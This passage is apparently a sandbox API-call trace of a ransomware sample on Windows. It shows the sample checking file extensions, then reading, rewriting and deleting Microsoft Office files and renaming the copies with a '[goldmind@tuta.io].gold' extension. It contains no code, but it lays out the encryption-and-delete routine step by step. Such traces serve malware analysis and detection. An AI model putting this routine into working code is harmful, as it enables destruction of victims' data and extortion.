Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.892] lstrlenW (lpString=".doc") returned 4 [0100.892] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0100.892] lstrlenW (lpString=".docx") returned 5 [0100.892] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0100.892] lstrlenW (lpString=".pdf") returned 4 [0100.892] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0100.892] lstrlenW (lpString=".xls") returned 4 [0100.892] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0100.892] lstrlenW (lpString=".xlsx") returned 5 [0100.892] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0100.892] lstrlenW (lpString=".ppt") returned 4 [0100.892] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0100.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.892] lstrlenW (lpString=".zip") returned 4 [0100.892] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0100.892] lstrlenW (lpString=".rar") returned 4 [0100.892] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0100.892] lstrlenW (lpString=".bz2") returned 4 [0100.892] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0100.892] lstrlenW (lpString=".7z") returned 3 [0100.892] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0100.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.892] lstrlenW (lpString=".dbf") returned 4 [0100.892] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0100.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.892] lstrlenW (lpString=".1cd") returned 4 [0100.893] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0100.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.893] lstrlenW (lpString=".jpg") returned 4 [0100.893] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0100.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.893] lstrlenW (lpString=".doc") returned 4 [0100.893] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0100.893] lstrlenW (lpString=".docx") returned 5 [0100.893] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0100.893] lstrlenW (lpString=".pdf") returned 4 [0100.893] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0100.893] lstrlenW (lpString=".xls") returned 4 [0100.893] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0100.893] lstrlenW (lpString=".xlsx") returned 5 [0100.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0100.893] lstrlenW (lpString=".ppt") returned 4 [0100.893] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0100.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.893] lstrlenW (lpString=".zip") returned 4 [0100.893] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0100.893] lstrlenW (lpString=".rar") returned 4 [0100.893] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0100.893] lstrlenW (lpString=".bz2") returned 4 [0100.893] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0100.893] lstrlenW (lpString=".7z") returned 3 [0100.893] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0100.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.893] lstrlenW (lpString=".dbf") returned 4 [0100.893] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0100.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.893] lstrlenW (lpString=".1cd") returned 4 [0100.893] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0100.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.893] lstrlenW (lpString=".jpg") returned 4 [0100.893] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0100.893] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0100.893] lstrlenW (lpString="EXCEL.DEV_COL.HXT") returned 17 [0100.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.894] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=209) returned 1 [0100.894] CloseHandle (hObject=0x38c) returned 1 [0100.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 0x20 [0100.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.894] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.894] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.123] GetLastError () returned 0x0 [0101.123] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xd1, lpOverlapped=0x0) returned 1 [0101.123] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0101.124] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.124] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0101.124] SetEndOfFile (hFile=0x3a8) returned 1 [0101.124] CloseHandle (hObject=0x3a8) returned 1 [0101.124] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.124] SetEndOfFile (hFile=0x38c) returned 1 [0101.126] CloseHandle (hObject=0x38c) returned 1 [0101.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt")) returned 1 [0101.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.215] lstrlenW (lpString=".doc") returned 4 [0101.215] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0101.215] lstrlenW (lpString=".docx") returned 5 [0101.215] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0101.215] lstrlenW (lpString=".pdf") returned 4 [0101.216] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString=".xls") returned 4 [0101.216] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString=".xlsx") returned 5 [0101.216] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0101.216] lstrlenW (lpString=".ppt") returned 4 [0101.216] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.216] lstrlenW (lpString=".zip") returned 4 [0101.216] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString=".rar") returned 4 [0101.216] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString=".bz2") returned 4 [0101.216] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0101.216] lstrlenW (lpString=".7z") returned 3 [0101.216] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0101.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.216] lstrlenW (lpString=".dbf") returned 4 [0101.216] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0101.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.216] lstrlenW (lpString=".1cd") returned 4 [0101.216] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0101.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.216] lstrlenW (lpString=".jpg") returned 4 [0101.216] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.216] lstrlenW (lpString=".doc") returned 4 [0101.216] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0101.216] lstrlenW (lpString=".docx") returned 5 [0101.216] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0101.216] lstrlenW (lpString=".pdf") returned 4 [0101.216] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString=".xls") returned 4 [0101.216] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0101.216] lstrlenW (lpString=".xlsx") returned 5 [0101.216] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0101.216] lstrlenW (lpString=".ppt") returned 4 [0101.217] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0101.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.217] lstrlenW (lpString=".zip") returned 4 [0101.217] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0101.217] lstrlenW (lpString=".rar") returned 4 [0101.217] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0101.217] lstrlenW (lpString=".bz2") returned 4 [0101.217] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0101.217] lstrlenW (lpString=".7z") returned 3 [0101.217] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0101.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.217] lstrlenW (lpString=".dbf") returned 4 [0101.217] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0101.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.217] lstrlenW (lpString=".1cd") returned 4 [0101.217] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0101.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned 65 [0101.217] lstrlenW (lpString=".jpg") returned 4 [0101.217] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0101.217] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0101.217] lstrlenW (lpString="EXCEL_K_COL.HXK") returned 15 [0101.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.217] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0101.217] CloseHandle (hObject=0x3bc) returned 1 [0101.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 0x20 [0101.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.218] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.218] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.219] GetLastError () returned 0x0 [0101.219] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0101.220] WriteFile (in: hFile=0x3b8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0101.220] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.220] WriteFile (in: hFile=0x3b8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0101.220] SetEndOfFile (hFile=0x3b8) returned 1 [0101.220] CloseHandle (hObject=0x3b8) returned 1 [0101.221] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.221] SetEndOfFile (hFile=0x3bc) returned 1 [0101.223] CloseHandle (hObject=0x3bc) returned 1 [0101.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk")) returned 1 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString=".doc") returned 4 [0101.224] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.224] lstrlenW (lpString=".docx") returned 5 [0101.224] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.224] lstrlenW (lpString=".pdf") returned 4 [0101.224] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".xls") returned 4 [0101.224] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".xlsx") returned 5 [0101.224] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.224] lstrlenW (lpString=".ppt") returned 4 [0101.224] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString=".zip") returned 4 [0101.224] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".rar") returned 4 [0101.224] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".bz2") returned 4 [0101.224] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.224] lstrlenW (lpString=".7z") returned 3 [0101.224] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString=".dbf") returned 4 [0101.224] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString=".1cd") returned 4 [0101.224] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString=".jpg") returned 4 [0101.224] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString=".doc") returned 4 [0101.224] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0101.224] lstrlenW (lpString=".docx") returned 5 [0101.224] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0101.224] lstrlenW (lpString=".pdf") returned 4 [0101.224] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".xls") returned 4 [0101.224] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".xlsx") returned 5 [0101.224] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0101.224] lstrlenW (lpString=".ppt") returned 4 [0101.224] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.224] lstrlenW (lpString=".zip") returned 4 [0101.224] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".rar") returned 4 [0101.224] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0101.224] lstrlenW (lpString=".bz2") returned 4 [0101.224] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0101.224] lstrlenW (lpString=".7z") returned 3 [0101.224] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0101.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.225] lstrlenW (lpString=".dbf") returned 4 [0101.225] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0101.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.225] lstrlenW (lpString=".1cd") returned 4 [0101.225] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0101.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63 [0101.225] lstrlenW (lpString=".jpg") returned 4 [0101.225] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0101.225] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0101.225] lstrlenW (lpString="EXPTOOWS.DLL") returned 12 [0101.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.244] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=12160) returned 1 [0101.244] CloseHandle (hObject=0x3ac) returned 1 [0101.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll")) returned 0x20 [0101.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.769] lstrlenW (lpString=".doc") returned 4 [0101.769] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0101.769] lstrlenW (lpString=".docx") returned 5 [0101.770] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0101.770] lstrlenW (lpString=".pdf") returned 4 [0101.770] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".xls") returned 4 [0101.770] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".xlsx") returned 5 [0101.770] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0101.770] lstrlenW (lpString=".ppt") returned 4 [0101.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".zip") returned 4 [0101.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".rar") returned 4 [0101.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".bz2") returned 4 [0101.770] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0101.770] lstrlenW (lpString=".7z") returned 3 [0101.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".dbf") returned 4 [0101.770] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".1cd") returned 4 [0101.770] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".jpg") returned 4 [0101.770] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".doc") returned 4 [0101.770] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".docx") returned 5 [0101.770] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0101.770] lstrlenW (lpString=".pdf") returned 4 [0101.770] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".xls") returned 4 [0101.770] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".xlsx") returned 5 [0101.770] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0101.770] lstrlenW (lpString=".ppt") returned 4 [0101.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0101.770] lstrlenW (lpString=".zip") returned 4 [0101.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".rar") returned 4 [0101.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0101.770] lstrlenW (lpString=".bz2") returned 4 [0101.770] lstrcmpiW (lpString1=".bz2", 